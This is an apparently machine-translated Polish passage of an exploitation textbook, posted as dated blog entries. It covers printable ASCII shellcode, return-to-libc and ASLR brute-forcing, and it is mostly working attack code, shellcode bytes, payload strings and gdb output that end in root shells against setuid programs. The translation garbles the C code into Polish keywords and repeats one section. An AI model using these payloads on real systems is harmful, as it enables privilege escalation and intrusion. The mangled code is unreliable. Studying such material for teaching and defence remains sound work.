00000020 e1 cd 80 |...|

W tym przypadku ostatnie cztery bajty są pogrubione; właściwą wartością rejestru EAX jest 0x80cde189. Jest to łatwe do zrobienia, używając instrukcji podrzędnych do zawijania wartości dookoła. Następnie EAX można zepchnąć na stos. Powoduje to przesunięcie ESP w górę (w kierunku niższych adresów pamięci) na koniec nowo wypchniętej wartości, gotowe na kolejne cztery bajty kodu powłoki (pokazane kursywą w poprzednim kodzie powłoki). Więcej podinstrukcji jest używanych do zawinięcia EAX około 0x53e28951 i ta wartość jest następnie wypychana na stos. Ponieważ proces ten powtarza się dla każdego czterobajtowego fragmentu, kod powłoki jest budowany od początku do początku, w kierunku kodu programu ładującego.

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|

00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|

00000020 e1 cd 80 | ... |

Ostatecznie osiągnięto początek kodu powłoki, ale po naciśnięciu 0x99c931db do stosu pozostały tylko trzy bajty (pokazane kursywą w poprzednim kodowaniu powłoki). Sytuacja ta jest złagodzona przez wstawienie jednej pojedynczej bajtowej instrukcji NOP na początku kodu, co powoduje, że wartość 0x31c03190 jest wypychana na stos - 0x90 jest kodem maszynowym dla NOP. Każdy z tych czterobajtowych fragmentów oryginalnego kodu powłoki jest generowany przy użyciu użytej metody odejmowania do druku wcześniej. Poniższy kod źródłowy to program, który pomaga obliczyć niezbędne wartości do druku.

printable_helper.c

#include < stdio.h >

#include < sys / stat.h >

#include < ctype.h >

#include < time.h >

#include < stdlib.h >

#include < string.h >

#define CHR "% _01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"

int main (int argc, char * argv [])

{

unsigned int targ, last, t [4], l [4];

unsigned int try, single, carry = 0;

int len, a, i, j, k, m, z, flag = 0;

słowo char [3] [4];

unsigned char mem [70];

if (argc < 2) {

printf ("Użycie:% s < wartość początkowa EAX > < wartość końcowa EAX > n", argv [0]);

exit (1);

}

srand (time (NULL));

bzero (mem, 70);

strcpy (mem, CHR);

len = strlen (mem);

strfry (mem); // Losuj

last = strtoul (argv [1], NULL, 0);

targ = strtoul (argv [2], NULL, 0);

printf ("obliczając wartości do druku, aby odjąć od EAX .. n");

t [3] = (targ i 0xff000000) >> 24; // Dzielenie przez bajty

t [2] = (cel i 0x00ff0000) >> 16;

t [1] = (cel i 0x0000ff00) >> 8;

t [0] = (cel i 0x000000ff);

l [3] = (last & 0xff000000) >> 24;

l [2] = (last & 0x00ff0000) >> 16;

l [1] = (last & 0x0000ff00) >> 8;

l [0] = (ostatnie & 0x000000ff);

dla (a = 1; a < 5; a ++) {// Zliczanie wartości

carry = flag = 0;

for (z = 0; z < 4; z ++) {// Liczba bajtów

dla (i = 0; i < len; i ++) {

for (j = 0; j < len; j ++) {

dla (k = 0; k < len; k ++) {

dla (m = 0; m < len; m ++)

{

jeśli (a <2) j = len + 1;

jeśli (a <3) k = len + 1;

jeśli (a <4) m = len + 1;

try = t [z] + noszenie + mem [i] + mem [j] + mem [k] + mem [m];

single = (spróbuj i 0x000000ff);

if (single == l [z])

{

carry = (spróbuj i 0x0000ff00) >> 8;

if (i < len) słowo [0] [z] = mem [i];

if (j < len) słowo [1] [z] = mem [j];

if (k < len) słowo [2] [z] = mem [k];

if (m < len) słowo [3] [z] = mem [m];

i = j = k = m = len + 2;

flaga ++;

}

}

}

}

}

}

if (flag == 4) {// Jeśli znaleziono wszystkie 4 bajty

printf ("start: 0x% 08x n", ostatni);

dla (i = 0; i
printf ("- 0x% 08x n", * ((unsigned int *) słowo [i]));

printf ("------------------- n");

printf ("koniec: 0x% 08x n", targ);

exit (0);

}

}

Po uruchomieniu tego programu oczekuje dwóch argumentów - wartości początkowej i końcowej dla EAX. Dla kodu powłoki ładowalnego EAX jest zerowane, aby rozpocząć, a wartość końcowa powinna wynosić 0x80cde189. Ta wartość odpowiada ostatnim czterem bajtom z shellcode.bin.

reader@ hacking: ~ / booksrc $ gcc -o printable_helper printable_helper.c

reader@ hacking: ~ / booksrc $ ./printable_helper 0 0x80cde189

obliczanie wartości wydruku do odjęcia z EAX ..

start: 0x00000000

- 0x346d6d25

- 0x256d6d25

- 0x2557442d

-------------------

endc: 0x80cde189

reader@ hacking : ~ / booksrc $ hexdump -C ./shellcode.bin

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |

00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S.

00000020 e1 cd 80 | ... |

00000023

reader@ hacking: ~ / booksrc $ ./printable_helper 0x80cde189 0x53e28951

obliczanie wartości wydruku do odjęcia z EAX ..

start: 0x80cde189

- 0x59316659

- 0x59667766

- 0x7a537a79

end: 0x53e28951

reader@ hacking: ~ / booksrc $

Wyjście powyżej pokazuje wartości do wydrukowania potrzebne do owinięcia zerowanego rejestru EAX do 0x80cde189 (pogrubione). Następnie EAX powinien zostać ponownie owinięty do 0x53e28951 dla kolejnych czterech bajtów kodu powłoki (budowanie wstecz). Proces ten powtarza się, dopóki nie zostanie zbudowany cały kod powłoki. Kod całego procesu pokazano poniżej.

Powrót

07.10.2020

printable.s

BITS 32

push esp ; Put current ESP

pop eax ; into EAX.

sub eax,0x39393333 ; Subtract printable values

sub eax,0x72727550 ; to add 860 to EAX.

sub eax,0x54545421

push eax ; Put EAX back into ESP.

pop esp ; Effectively ESP = ESP + 860

and eax,0x454e4f4a

and eax,0x3a313035 ; Zero out EAX.

sub eax,0x346d6d25 ; Subtract printable values

sub eax,0x256d6d25 ; to make EAX = 0x80cde189.

sub eax,0x2557442d ; (last 4 bytes from shellcode.bin)

push eax ; Push these bytes to stack at ESP.

sub eax,0x59316659 ; Subtract more printable values

sub eax,0x59667766 ; to make EAX = 0x53e28951

sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)

push eax

sub eax,0x25696969

sub eax,0x25786b5a

sub eax,0x25774625

push eax ; EAX = 0xe3896e69

sub eax,0x366e5858

sub eax,0x25773939

sub eax,0x25747470

push eax ; EAX = 0x622f6868

sub eax,0x25257725

sub eax,0x71717171

sub eax,0x5869506a

push eax ; EAX = 0x732f2f68

sub eax,0x63636363

sub eax,0x44307744

sub eax,0x7a434957

push eax ; EAX = 0x51580b6a

sub eax,0x63363663

sub eax,0x6d543057

push eax ; EAX = 0x80cda4b0

sub eax,0x54545454

sub eax,0x304e4e25

sub eax,0x32346f25

sub eax,0x302d6137

push eax ; EAX = 0x99c931db

sub eax,0x78474778

sub eax,0x78727272

sub eax,0x774f4661

push eax ; EAX = 0x31c03190

sub eax,0x41704170

sub eax,0x2d772d4e

sub eax,0x32483242

push eax ; EAX = 0x90909090

push eax

push eax ; Build a NOP sled.

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

Na koniec kod powłoki został zbudowany gdzieś po kodzie programu ładującego, najprawdopodobniej pozostawiając lukę między nowo zbudowanym kodem powłoki a kodem programu wykonawczego. Ta luka może zostać zmostkowana przez zbudowanie NOP sled pomiędzy kodem programu ładującego a kodem powłoki. Ponownie, instrukcje podrzędne są używane do ustawienia EAX na 0x90909090, a EAX jest wielokrotnie wypychany na stos. Z każdą instrukcją push cztery instrukcje NOP są dołączane na początku kodu powłoki. Ostatecznie te instrukcje NOP zbudują się na wykonujących instrukcjach wypychania kodu programu ładującego, umożliwiając EIP i wykonanie programu przepływanie przez sanki do kodu powłoki. Składa się on w drukowalny ciąg ASCII, który podwaja się jako wykonywalny kod maszynowy.

reader@hacking:~/booksrc $ nasm printable.s

reader@hacking:~/booksrc $ echo $(cat ./printable)

TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%

-ptt%P-

%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--

B2H2PPPPPPPPPPPPPPPPPPPPPP

reader@hacking:~/booksrc $

Ten kod powłoki ASCII, który można wydrukować, może teraz zostać użyty do przemycenia rzeczywistego kodu powłoki poza procedurę sprawdzania poprawności danych wejściowych programu update_info.

reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable)

[DEBUG]: desc argument is at 0xbffff910

Segmentation fault

reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./

printable)

[DEBUG]: desc argument is at 0xbffff910

Updating product ########### with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%

--DW%PYf1Y-

fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c

-W0TmPTTTT-%

NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'

sh-3.2# whoami

root

sh-3.2#

Schludny. W przypadku, gdy nie byłeś w stanie śledzić wszystkiego, co się tam właśnie wydarzyło, dane wyjściowe poniżej obserwują wykonanie kodu powłoki w GDB. Adresy stosu będą nieco inne, zmieniając adresy zwrotne, ale nie wpłynie to na kod powłoki, który można wydrukować - oblicza swoją lokalizację na podstawie ESP, nadając jej to wszechstronność.

reader@hacking:~/booksrc $ gdb -q ./update_info

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disass update_product_description

Dump of assembler code for function update_product_description:

0x080484a8 < update_product_description+0 >: push ebp

0x080484a9 < update_product_description+1 >: mov ebp,esp

0x080484ab < update_product_description+3 >: sub esp,0x28

0x080484ae < update_product_description+6 >: mov eax,DWORD PTR [ebp+8]

0x080484b1 < update_product_description+9 >: mov DWORD PTR [esp+4],eax

0x080484b5 < update_product_description+13 >: lea eax,[ebp-24]

0x080484b8 < update_product_description+16 >: mov DWORD PTR [esp],eax

0x080484bb < update_product_description+19 >: call 0x8048388 < strcpy@plt >

0x080484c0 < update_product_description+24 >: mov eax,DWORD PTR [ebp+12]

0x080484c3 < update_product_description+27 >: mov DWORD PTR [esp+8],eax

0x080484c7 < update_product_description+31 >: lea eax,[ebp-24]

0x080484ca < update_product_description+34 >: mov DWORD PTR [esp+4],eax

0x080484ce < update_product_description+38 >: mov DWORD PTR [esp],0x80487a0

0x080484d5 < update_product_description+45 >: call 0x8048398 < printf@plt >

0x080484da < update_product_description+50 >: leave

0x080484db < update_product_description+51 >: ret

End of assembler dump.

(gdb) break *0x080484db

Breakpoint 1 at 0x80484db: file update_info.c, line 21.

(gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable)

Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./

printable)

[DEBUG]: desc argument is at 0xbffff8fd

Program received signal SIGSEGV, Segmentation fault.

0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6

(gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"

x10')

$(cat ./printable)

[DEBUG]: desc argument is at 0xbffff8fd

Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y

-fwfYyzSzP-

iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT

-%NN0-

%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'

Breakpoint 1, 0x080484db in update_product_description (

id=0x72727550 < Address 0x72727550 out of bounds>,

desc=0x5454212d < Address 0x5454212d out of bounds >) at update_info.c:21

21 }

(gdb) stepi

0xbffff8fd in ?? ()

(gdb) x/9i $eip

0xbffff8fd: push esp

0xbffff8fe: pop eax

0xbffff8ff: sub eax,0x39393333

0xbffff904: sub eax,0x72727550

0xbffff909: sub eax,0x54545421

0xbffff90e: push eax

0xbffff90f: pop esp

0xbffff910: and eax,0x454e4f4a

0xbffff915: and eax,0x3a313035

(gdb) i r esp

esp 0xbffff6d0 0xbffff6d0

(gdb) p /x $esp + 860

$1 = 0xbffffa2c

(gdb) stepi 9

0xbffff91a in ?? ()

(gdb) i r esp eax

esp 0xbffffa2c 0xbffffa2c

eax 0x0 0

(gdb)

Pierwsze dziewięć instrukcji dodaje 860 do ESP i zeruje rejestr EAX Następne osiem instrukcji przesuwa ostatnie osiem bajtów kodu powłoki na stos w kawałkach czterobajtowych. Ten proces jest powtarzany w kolejnych 32 instrukcjach, aby zbudować cały kod powłoki na stosie.

(gdb) x / 8i $ eip

0xbffff91a: sub eax, 0x346d6d25

0xbffff91f: sub eax, 0x256d6d25

0xbffff924: sub eax, 0x2557442d

0xbffff929: push eax

0xbffff92a: sub eax, 0x59316659

0xbffff92f: sub eax, 0x59667766

0xbffff934: sub eax, 0x7a537a79

0xbffff939: push eax

(gdb) stepi 8

0xbffff93a w ?? ()

(gdb) x / 4x $ esp

0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000

(gdb) stepi 32

0xbffff9ba w ?? ()

(gdb) x / 5i $ eip

0xbffff9ba: push eax

0xbffff9bb: push eax

0xbffff9bc: push eax

0xbffff9bd: push eax

0xbffff9be: push eax

(gdb) x / 16x $ esp

0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0

0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69

0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000

0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) i eip esp eax

eip 0xbffff9ba 0xbffff9ba

esp 0xbffffa04 0xbffffa04

eax 0x90909090 -1869574000

(gdb)



Teraz, gdy kod powłoki jest całkowicie skonstruowany na stosie, EAX ma wartość 0x90909090. Jest on wielokrotnie przesyłany do stosu, aby zbudować sanki NOP, aby wypełnić lukę między końcem kodu programu ładującego a nowo utworzonym kodem powłoki.

(gdb) x / 24x 0xbffff9ba

0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050

0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000

0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090

0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158

(gdb) stepi 10

0xbffff9c4 w ?? ()

(gdb) x / 24x 0xbffff9ba

0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050

0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000

0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090

0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090

0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158

(gdb) stepi 5

0xbffff9c9 w ?? ()

(gdb) x / 24x 0xbffff9ba

0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050

0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090

0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158

(gdb)

Teraz wskaźnik wykonania (EIP) może przepływać przez most NOP do skonstruowanego kodu powłoki. Printcode shellcode to technika, która może otworzyć niektóre drzwi. To i wszystkie inne techniki, które omówiliśmy, są tylko elementami konstrukcyjnymi, które można wykorzystać w wielu różnych kombinacjach. Ich zastosowanie wymaga pewnej pomysłowości z twojej strony. Bądź mądry i pokonaj ich we własnej grze.

Powrót

08.10.2020

Hartowanie Środków Zaradczych>

Techniki exploitów przedstawione tu istnieją od wieków. To była tylko kwestia czasu, aby programiści wymyślili kilka sprytnych metod ochrony. Exploit można uogólnić jako proces trzyetapowy: po pierwsze, jakiś rodzaj uszkodzenia pamięci; następnie zmiana przepływu sterowania; i wreszcie wykonanie shellcode

Stos Niewykonywalny

Większość aplikacji nigdy nie musi wykonywać niczego na stosie, więc oczywistą obroną przed exploitami przepełnienia bufora jest uniemożliwienie wykonania stosu. Gdy to zrobisz, kod powłoki wstawiony w dowolnym miejscu na stosie jest w zasadzie bezużyteczny. Ten rodzaj obrony powstrzyma większość exploitów i jest coraz bardziej popularny. Najnowsza wersja OpenBSD ma domyślnie niewykonywalny stos, a niewykonywalny stos jest dostępny w Linuksie poprzez PaX, poprawkę jądra. Oczywiście istnieje technika stosowana do ominięcia tego ochronnego środka zaradczego. Ta technika jest znana jako powrót do libc. libc to standardowa biblioteka C, która zawiera różne podstawowe funkcje, takie jak printf () i exit (). Funkcje te są współdzielone, więc każdy program korzystający z funkcji printf () kieruje wykonanie do odpowiedniej lokalizacji w libc. Exploit może zrobić dokładnie to samo i skierować wykonanie programu do określonej funkcji w libc. Funkcjonalność takiego exploita jest ograniczona przez funkcje w libc, co jest znaczącym ograniczeniem w porównaniu z dowolnym kodem powłoki. Jednak nic nie jest nigdy wykonywane na stosie.

Powrót

09.10.2020

Stos niewykonywalny

Większość aplikacji nigdy nie musi wykonywać niczego na stosie, więc oczywistą obroną przed exploitami przepełnienia bufora jest uniemożliwienie wykonania stosu. Gdy to zrobisz, kod powłoki wstawiony w dowolnym miejscu na stosie jest w zasadzie bezużyteczny. Ten rodzaj obrony powstrzyma większość exploitów i jest coraz bardziej popularny. Najnowsza wersja OpenBSD ma domyślnie niewykonywalny stos, a niewykonywalny stos jest dostępny w Linuksie poprzez PaX, poprawkę jądra. Oczywiście istnieje technika stosowana do ominięcia tego ochronnego środka zaradczego. Ta technika jest znana jako powrót do libc. libc to standardowa biblioteka C, która zawiera różne podstawowe funkcje, takie jak printf () i exit (). Funkcje te są współdzielone, więc każdy program korzystający z funkcji printf () kieruje wykonanie do odpowiedniej lokalizacji w libc. Exploit może zrobić dokładnie to samo i skierować wykonanie programu do określonej funkcji w libc. Funkcjonalność takiego exploita jest ograniczona przez funkcje w libc, co jest znaczącym ograniczeniem w porównaniu z dowolnym kodem powłoki. Jednak nic nie jest nigdy wykonywane na stosie.

Powrót do system()

Jedną z najprostszych funkcji libc do powrotu jest system (). Jak sobie przypominasz, ta funkcja pobiera pojedynczy argument i wykonuje ten argument za pomocą / bin / sh. Ta funkcja wymaga tylko jednego argumentu, co czyni go użytecznym celem. W tym przykładzie zostanie użyty prosty program podatny na ataki.

vuln.c

int main(int argc, char *argv[])

{

char buffer[5];

strcpy(buffer, argv[1]);

return 0;

}

Of course, this program must be compiled and setuid root before it's truly vulnerable.

reader@hacking:~/booksrc $ gcc -o vuln vuln.c

reader@hacking:~/booksrc $ sudo chown root ./vuln

reader@hacking:~/booksrc $ sudo chmod u+s ./vuln

reader@hacking:~/booksrc $ ls -l ./vuln

-rwsr-xr-x 1 root reader 6600 2007-09-30 22:43 ./vuln

reader@hacking:~/booksrc $

Ogólną ideą jest wymuszenie, aby wrażliwy program pojawił się w powłoce, bez wykonywania jakichkolwiek operacji na stosie, poprzez powrót do systemu funkcji libc (). Jeśli ta funkcja jest dostarczona z argumentem / bin / sh, powinno to wywołać powłokę. Najpierw należy określić lokalizację funkcji system () w libc. Będzie to inne dla każdego systemu, ale gdy lokalizacja będzie znana, pozostanie taka sama aż do rekompilacji libc. Jednym z najłatwiejszych sposobów znalezienia lokalizacji funkcji libc jest utworzenie prostego programu fikcyjnego i debugowanie go w następujący sposób:

reader@hacking:~/booksrc $ cat > dummy.c

int main()

{ system(); }

reader@hacking:~/booksrc $ gcc -o dummy dummy.c

reader@hacking:~/booksrc $ gdb -q ./dummy

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x804837a

(gdb) run

Starting program: /home/matrix/booksrc/dummy

Breakpoint 1, 0x0804837a in main ()

(gdb) print system

$1 = {< text variable, no debug info>} 0xb7ed0d80 < system >

(gdb) quit

Tutaj tworzony jest fałszywy program, który używa funkcji system (). Po skompilowaniu plik binarny jest otwierany w debuggerze i na początku ustawiany jest punkt przerwania. Program jest wykonywany, a następnie wyświetlana jest lokalizacja funkcji system (). W tym przypadku funkcja system () znajduje się pod adresem 0xb7ed0d80. Uzbrojeni w tę wiedzę możemy skierować wykonywanie programu do funkcji system () libc. Jednak celem jest spowodowanie, aby zagrożony program wykonał system ("/ bin / sh"), aby udostępnić powłokę, dlatego należy podać argument. Po powrocie do libc adres zwrotny i argumenty funkcji są odczytywane ze stosu w znanym formacie: adres zwrotny, a następnie argumenty. Bezpośrednio po adresie żądanej funkcji libc znajduje się adres, na który należy powrócić po wywołaniu libc. Po tym wszystkie argumenty funkcji przychodzą kolejno. W tym przypadku tak naprawdę nie ma znaczenia, gdzie powróci wykonanie po wywołaniu libc, ponieważ będzie ono otwierać powłokę interaktywną. Dlatego te cztery bajty mogą być po prostu symbolem FAKE. Jest tylko jeden argument, który powinien być wskaźnikiem do łańcucha / bin / sh. Ten ciąg może być przechowywany w dowolnym miejscu w pamięci; zmienna środowiskowa jest doskonałym kandydatem. Na wyjściu poniżej ciąg jest poprzedzony kilkoma spacjami. Będzie to działało podobnie do sanki NOP, zapewniając nam trochę wiggle room, ponieważ system ("/ bin / sh") jest taki sam jak system ("/ bin / sh").

reader@hacking:~/booksrc $ export BINSH=" /bin/sh"

reader@hacking:~/booksrc $ ./getenvaddr BINSH ./vuln

BINSH will be at 0xbffffe5b

reader@hacking:~/booksrc $

Tak więc adres system () to 0xb7ed0d80, a adres dla ciągu / bin / sh będzie 0xbffffe5b podczas wykonywania programu. Oznacza to, że adres zwrotny na stosie powinien zostać nadpisany serią adresów, poczynając od 0xb7ecfd80, a następnie FAKE (ponieważ nie ma znaczenia, gdzie wykonanie następuje po wywołaniu system ()), i kończąc na 0xbffffe5b. Szybkie wyszukiwanie binarne pokazuje, że adres zwrotny jest prawdopodobnie nadpisany ósmym słowem wejścia programu, więc siedem słów fałszywych danych jest używanych do odstępów w exploicie.

reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x5')

reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x10')

Segmentation fault

reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x8')

Segmentation fault

reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7')

Illegal instruction

reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\x0d\xed\xb7FAKE\x5b

\xfe\

xff\xbf"')

sh-3.2# whoami

root

sh-3.2#

Exploit można rozszerzyć, wykonując w razie potrzeby powiązane połączenia libc. Adres zwrotny FAKE użyty w przykładzie może zostać zmieniony w celu bezpośredniego wykonania programu. Można wykonywać dodatkowe wywołania libc lub można je wykonać w innej użytecznej sekcji w istniejących instrukcjach programu.

Powrót

10.10.2020

Randomizowana przestrzeń stosu

Kolejny ochronny środek zaradczy próbuje nieco innego podejścia. Zamiast zapobiegać wykonywaniu na stosie, ten środek zaradczy losuje układ pamięci stosu. Gdy układ pamięci jest losowy, atakujący nie będzie w stanie przywrócić wykonania do czekającego kodu powłoki, ponieważ nie będzie wiedział, gdzie on się znajduje. Ten środek zaradczy został domyślnie włączony w jądrze Linuksa od 2.6.12.Aby ponownie włączyć tę ochronę, echo 1 do systemu plików / proc, jak pokazano poniżej

reader@hacking:~/booksrc $ sudo su -

root@hacking:~ # echo 1 > /proc/sys/kernel/randomize_va_space

root@hacking:~ # exit

logout

reader@hacking:~/booksrc $ gcc exploit_notesearch.c

reader@hacking:~/booksrc $ ./a.out

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

-------[ end of note data ]-------

reader@hacking:~/booksrc $

Po włączeniu tego środka zaradczego exploit Notesearch przestaje działać, ponieważ układ stosu jest losowy. Przy każdym uruchomieniu programu stos zaczyna się w losowej lokalizacji. Poniższy przykład demonstruje to.

Randomizowana przestrzeń stosu

aslr_demo.c

#include

int main(int argc, char *argv[]) {

char buffer[50];

printf("buffer is at %p\n", &buffer);

if(argc > 1)

strcpy(buffer, argv[1]);

return 1;

}

Ten program ma oczywistą lukę w przepełnieniu bufora. Jednak przy włączonym ASLR eksploatacja nie jest taka łatwa.

reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c

reader@hacking:~/booksrc $ ./aslr_demo

buffer is at 0xbffbbf90

reader@hacking:~/booksrc $ ./aslr_demo

buffer is at 0xbfe4de20

reader@hacking:~/booksrc $ ./aslr_demo

buffer is at 0xbfc7ac50

reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "ABCD"x20')

buffer is at 0xbf9a4920

Segmentation fault

reader@hacking:~/booksrc $

Zwróć uwagę, jak zmienia się położenie bufora na stosie przy każdym uruchomieniu. Nadal możemy wstrzyknąć kod powłoki i uszkodzoną pamięć, aby nadpisać adres zwrotny, ale nie wiemy, gdzie znajduje się kod powłoki. Losowanie zmienia lokalizację wszystkiego na stosie, w tym zmiennych środowiskowych

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo

SHELLCODE will be at 0xbfd919c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo

SHELLCODE will be at 0xbfe499c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo

SHELLCODE will be at 0xbfcae9c3

reader@hacking:~/booksrc $

Ten rodzaj ochrony może być bardzo skuteczny w powstrzymywaniu exploitów przez przeciętnego atakującego, ale nie zawsze wystarcza, by powstrzymać zdeterminowanego hakera. Czy możesz wymyślić sposób na pomyślne wykorzystanie tego programu w tych warunkach?

Powrót

11.10.2020

Dochodzenia z BASH i GDB

Ponieważ ASLR nie zatrzymuje uszkodzenia pamięci, nadal możemy użyć brutalnego skryptu BASH, aby określić przesunięcie adresu zwrotnego od początku bufora. Po zamknięciu programu wartością zwracaną przez główną funkcję jest status wyjścia. Ten status jest przechowywany w zmiennej BASH $?, Która może być użyta do wykrycia awarii programu.

reader@hacking:~/booksrc $ ./aslr_demo test

buffer is at 0xbfb80320

reader@hacking:~/booksrc $ echo $?

1

reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50')

buffer is at 0xbfbe2ac0

Segmentation fault

reader@hacking:~/booksrc $ echo $?

139

reader@hacking:~/booksrc $

Używając logiki if instrukcji BASH, możemy zatrzymać nasz skrypt wymuszający brute, gdy zawiedzie cel. Blok instrukcji if jest zawarty między słowami kluczowymi then i fi; wymagana jest biała przestrzeń w instrukcji if. Instrukcja break mówi skryptowi, aby wyłamał się z pętli for.

reader@hacking:~/booksrc $ for i in $(seq 1 50)

> do

> echo "Trying offset of $i words"

> ./aslr_demo $(perl -e "print 'AAAA'x$i")

> if [ $? != 1 ]

> then

> echo "==> Correct offset to return address is $i words"

> break

> fi

> done

Trying offset of 1 words

buffer is at 0xbfc093b0

Trying offset of 2 words

buffer is at 0xbfd01ca0

Trying offset of 3 words

buffer is at 0xbfe45de0

Trying offset of 4 words

buffer is at 0xbfdcd560

Trying offset of 5 words

buffer is at 0xbfbf5380

Trying offset of 6 words

buffer is at 0xbffce760

Trying offset of 7 words

buffer is at 0xbfaf7a80

Trying offset of 8 words

buffer is at 0xbfa4e9d0

Trying offset of 9 words

buffer is at 0xbfacca50

Trying offset of 10 words

buffer is at 0xbfd08c80

Trying offset of 11 words

buffer is at 0xbff24ea0

Trying offset of 12 words

buffer is at 0xbfaf9a70

Trying offset of 13 words

buffer is at 0xbfe0fd80

Trying offset of 14 words

buffer is at 0xbfe03d70

Trying offset of 15 words

buffer is at 0xbfc2fb90

Trying offset of 16 words

buffer is at 0xbff32a40

Trying offset of 17 words

buffer is at 0xbf9da940

Trying offset of 18 words

buffer is at 0xbfd0cc70

Trying offset of 19 words

buffer is at 0xbf897ff0

Illegal instruction

==> Correct offset to return address is 19 words

reader@hacking:~/booksrc $

Znajomość właściwego przesunięcia pozwoli nam nadpisać adres zwrotny. Jednak nadal nie możemy wykonać kodu powłoki, ponieważ jego lokalizacja jest losowa. Korzystając z GDB, spójrzmy na program tak, jak ma on powrócić z głównej funkcji.

reader@hacking:~/booksrc $ gdb -q ./aslr_demo

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disass main

Dump of assembler code for function main:

0x080483b4 < main+0 >: push ebp

0x080483b5 < main+1 >: mov ebp,esp

0x080483b7 < main+3 >: sub esp,0x58

0x080483ba < main+6 >: and esp,0xfffffff0

0x080483bd < main+9 >: mov eax,0x0

0x080483c2 < main+14 >: sub esp,eax

0x080483c4 < main+16 >: lea eax,[ebp-72]

0x080483c7 < main+19 >: mov DWORD PTR [esp+4],eax

0x080483cb < main+23 >: mov DWORD PTR [esp],0x80484d4

0x080483d2 < main+30 >: call 0x80482d4 < printf@plt >

0x080483d7 < main+35 >: cmp DWORD PTR [ebp+8],0x1

0x080483db < main+39 >: jle 0x80483f4 < main+64 >

0x080483dd < main+41 >: mov eax,DWORD PTR [ebp+12]

0x080483e0 < main+44 >: add eax,0x4

0x080483e3 < main+47 >: mov eax,DWORD PTR [eax]

